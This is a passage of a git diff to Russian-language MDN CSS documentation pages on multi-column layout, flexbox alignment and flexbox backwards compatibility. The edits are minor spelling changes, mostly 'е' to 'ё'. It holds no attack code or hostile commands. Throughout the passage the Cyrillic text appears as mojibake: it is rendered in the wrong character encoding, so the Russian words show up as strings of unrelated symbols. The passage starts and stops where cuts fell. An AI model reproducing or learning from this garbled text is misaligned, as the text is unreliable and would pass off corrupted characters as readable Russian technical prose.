+<p>Π­Ρ‚ΠΎΡ‚ инструмСнт позволяСт Π»Π΅Π³ΠΊΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ, Π½Π°ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΌΠΈ Ρ†Π²Π΅Ρ‚Π°ΠΌΠΈ для использования Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. Он Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π»Π΅Π³ΠΊΠΎ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚Π° Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ CSS, Π² Ρ‚ΠΎΠΌ числС: ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚, RGB (красный / Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ / синий) ΠΈ HSL (Π¦Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ Ρ‚ΠΎΠ½ / ΠΠ°ΡΡ‹Ρ‰Π΅Π½Π½ΠΎΡΡ‚ΡŒ / Π―Ρ€ΠΊΠΎΡΡ‚ΡŒ). ΠšΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»ΠΎΠΌ (ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒΡŽ) поддСрТиваСтся Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ… RGB (RGBA) ΠΈ HSL (HSLA).</p>
<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π²ΠΎ врСмя настройки прСдставлСн Π²ΠΎ всСх 3-Ρ… стандартных Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ… CSS, ΠΈ, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π½Π° основС Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° гСнСрируСтся ΠΏΠ°Π»ΠΈΡ‚Ρ€Π° для HSL, HSV ΠΈ Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π»Π°. Кнопкой "ΠΏΠΈΠΏΠ΅Ρ‚ΠΊΠ°" ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ HSL ΠΈΠ»ΠΈ HSV Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°ΠΌΠΈ.</p>
diff --git a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html
index 7bab55db18..af886ff78f 100644
--- a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html
+++ b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html
@@ -6,7 +6,7 @@ original_slug: Web/Guide/CSS/Using_multi-column_layouts
---
<p>{{CSSRef("CSS Multi-columns")}}</p>
-<p><span class="seoSummary"><strong>CSS Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° для ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ</strong> Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ <em>способ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, </em>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π»Π΅Π³ΠΊΠΎΠ΅ описаниС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ тСкста.</span> Π›ΡŽΠ΄ΡΠΌ слоТно Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ тСкст, Ссли строки слишком Π΄Π»ΠΈΠ½Π½Ρ‹Π΅; это Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ слишком ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для Π³Π»Π°Π·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ взгляд с ΠΊΠΎΠ½Ρ†Π° ΠΎΠ΄Π½ΠΎΠΉ Π½Π° Π½Π°Ρ‡Π°Π»ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строки, ΠΈ ΠΎΠ½ΠΈ Π·Π°Π±Ρ‹Π²Π°ΡŽΡ‚ Π½Π° ΠΊΠ°ΠΊΠΎΠΉ строкС Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈΡΡŒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ большиС дисплСи ΠΏΠΎ максимуму, Π°Π²Ρ‚ΠΎΡ€Π°ΠΌ слСдуСт ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ тСкст располоТСнных Π±ΠΎΠΊ ΠΎ Π±ΠΎΠΊ, ΠΊΠ°ΠΊ Π² Π³Π°Π·Π΅Ρ‚Π°Ρ….</p>
+<p><span class="seoSummary"><strong>CSS Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° для ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ</strong> Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ <em>способ Π±Π»ΠΎΡ‡Π½ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, </em>Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π»Ρ‘Π³ΠΊΠΎΠ΅ описаниС Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ тСкста.</span> Π›ΡŽΠ΄ΡΠΌ слоТно Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ тСкст, Ссли строки слишком Π΄Π»ΠΈΠ½Π½Ρ‹Π΅; это Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ слишком ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ для Π³Π»Π°Π·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ взгляд с ΠΊΠΎΠ½Ρ†Π° ΠΎΠ΄Π½ΠΎΠΉ Π½Π° Π½Π°Ρ‡Π°Π»ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строки, ΠΈ ΠΎΠ½ΠΈ Π·Π°Π±Ρ‹Π²Π°ΡŽΡ‚ Π½Π° ΠΊΠ°ΠΊΠΎΠΉ строкС Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈΡΡŒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ большиС дисплСи ΠΏΠΎ максимуму, Π°Π²Ρ‚ΠΎΡ€Π°ΠΌ слСдуСт ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ тСкст располоТСнных Π±ΠΎΠΊ ΠΎ Π±ΠΎΠΊ, ΠΊΠ°ΠΊ Π² Π³Π°Π·Π΅Ρ‚Π°Ρ….</p>
<p>К Π½Π΅ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, это Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ с CSS ΠΈ HTML Π±Π΅Π· ΠΏΡ€ΠΈΠ½ΡƒΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ разбиСния ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Π² фиксированных позициях, ΠΈΠ»ΠΈ строго ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΡƒΡΡ‚ΠΈΠΌΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ Π² тСкстС, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ экстраординарный скрипт. Π­Ρ‚ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ снимаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ добавлСния Π½ΠΎΠ²Ρ‹Ρ… CSS свойств, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°ΡΡˆΠΈΡ€ΠΈΡ‚ΡŒ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ способ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ.</p>
diff --git a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
index 3340d6cfae..61c6b3da9f 100644
--- a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
+++ b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
@@ -121,7 +121,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅_элСм
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄Π΅Π»ΠΈ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ ΠΏΠΎ пСрСкрёстной оси, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° Π³Π»Π°Π²Π½ΡƒΡŽ ось. Π—Π΄Π΅ΡΡŒ Π½Π°ΠΌ доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎ свойство β€” <code>justify-content</code>. Π­Ρ‚ΠΎ обусловлСно Ρ‚Π΅ΠΌ, что с элСмСнтами Π½Π°Β  Π³Π»Π°Π²Π½ΠΎΠΉ оси ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠ°ΠΊ с Π³Ρ€ΡƒΠΏΠΏΠΎΠΉ. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство <code>justify-content</code>, ΠΌΡ‹ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌ, Ρ‡Ρ‚ΠΎ происходит со свободным пространством Π½Π° Π³Π»Π°Π²Π½ΠΎΠΉ оси, ΠΈ трСбуСтся Π»ΠΈ Π½Π°ΠΌ большС пространства, Ρ‡Π΅ΠΌ Π½ΡƒΠΆΠ½ΠΎ для отобраТСния Π½Π°ΡˆΠΈΡ… элСмСнтов.</p>
-<p>Π’ нашСм ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с использованиСм свойства <code>display: flex</code>, ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΌ ΠΊ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ, элСмСнты ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ строка ΠΈ Π²Ρ‹ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² Π½Π°Ρ‡Π°Π»Π΅ Π±Π»ΠΎΠΊΠ°.Β Π­Ρ‚ΠΎ обусловлСно Ρ‚Π΅ΠΌ, что свойство <code>justify-content</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>flex-start</code>. ВсС свободноС мСсто располагаСтся Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°.</p>
+<p>Π’ нашСм ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с использованиСм свойства <code>display: flex</code>, ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΌ ΠΊ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρƒ, элСмСнты ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ строка ΠΈ Π²Ρ‹ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π² Π½Π°Ρ‡Π°Π»Π΅ Π±Π»ΠΎΠΊΠ°.Β Π­Ρ‚ΠΎ обусловлСно Ρ‚Π΅ΠΌ, что свойство <code>justify-content</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>flex-start</code>. ВсС свободноС мСсто располагаСтся Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°.</p>
<p><img alt="Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
@@ -203,7 +203,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅_элСм
<p>Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Π²ΠΎ Flexbox Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ создания пространства ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code>column-gap</code> and <code>row-gap</code>, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. Π’ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ этих свойств Π² Box Alignment ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ смоТСм ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>column-gap</code>Β ΠΈΒ <code>row-gap</code> Π²ΠΎ Flexbox Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅. Π­Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ отступы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ пространство ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами.</p>
-<p>МоС ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ выравнивания Π²ΠΎ Flexbox, Π΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ с Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ Π² Grid Layout. Π’ ΠΎΠ±Π΅ΠΈΡ… спСцификациях ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ свойства выравнивания, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Flexbox. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ эти свойства Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с сСткой Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² этих спСцификациях Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p>
+<p>ΠœΠΎΡ‘ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠΈ выравнивания Π²ΠΎ Flexbox, Π΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΡŒΠ½ΠΎ с Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ΠΌ Π² Grid Layout. Π’ ΠΎΠ±Π΅ΠΈΡ… спСцификациях ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ свойства выравнивания, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Flexbox. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ эти свойства Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ с сСткой Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box Alignment in Grid Layout</a>, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² этих спСцификациях Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Box Alignment Cheatsheet</a>.</p>
<p>Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π’Π°ΠΊΠΆΠ΅</p>
diff --git a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
index 9c407f61fa..25b5be5ea0 100644
--- a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
+++ b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
@@ -11,13 +11,13 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb
<p>Как  ΠΈ всС спСцификации CSS, flexbox ΠΏΡ€Π΅Ρ‚Π΅Ρ€ΠΏΠ΅Π»Π° ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ количСство ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ ΡΡ‚Π°Ρ‚ΡŒΒ ΠšΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠΌ Π² Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ W3C. Π£ спСцификации Π² этом статусС Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, ΠΎΠ΄Π½Π°ΠΊΠΎ с ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌΠΈ итСрациями всС Π±Ρ‹Π»ΠΎ ΠΈΠ½Π°Ρ‡Π΅.</p>
-<p>Flexbox Π±Ρ‹Π» Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΡƒΡ‚Π΅ΠΌ Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π’ Ρ‚ΠΎ врСмя ΠΌΠ΅Ρ‚ΠΎΠ΄ создания ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π» использованиС Π²Π΅Π½Π΄ΠΎΡ€Π½Ρ‹Ρ… прСфиксов. ИдСя этих прСфиксов Π±Ρ‹Π»Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€Π°ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡˆΠ΅ΡΡ‚Π²Π° спСцификации Π±Π΅Π· ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΠΎΠ² с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ рСализациями. ИдСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π»Π°ΡΡŒ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½Π° ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½Π΅. Однако, Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счСтС прСфиксы всС Ρ€Π°Π²Π½ΠΎ ΠΏΠΎΠΏΠ°Π»ΠΈ Π² ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ½, ΠΈ измСнСния Π² ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ спСцификации Π²Ρ‹Π½ΡƒΠ΄ΠΈΠ»ΠΈ людСй ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ сайты, Ρ‡Ρ‚ΠΎΠ±Ρ‹ этой самой спСцификации ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>Flexbox Π±Ρ‹Π» Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΡƒΡ‚Ρ‘ΠΌ Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π’ Ρ‚ΠΎ врСмя ΠΌΠ΅Ρ‚ΠΎΠ΄ создания ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π» использованиС Π²Π΅Π½Π΄ΠΎΡ€Π½Ρ‹Ρ… прСфиксов. ИдСя этих прСфиксов Π±Ρ‹Π»Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€Π°ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡˆΠ΅ΡΡ‚Π²Π° спСцификации Π±Π΅Π· ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΠΎΠ² с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ рСализациями. ИдСя Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π»Π°ΡΡŒ Π² 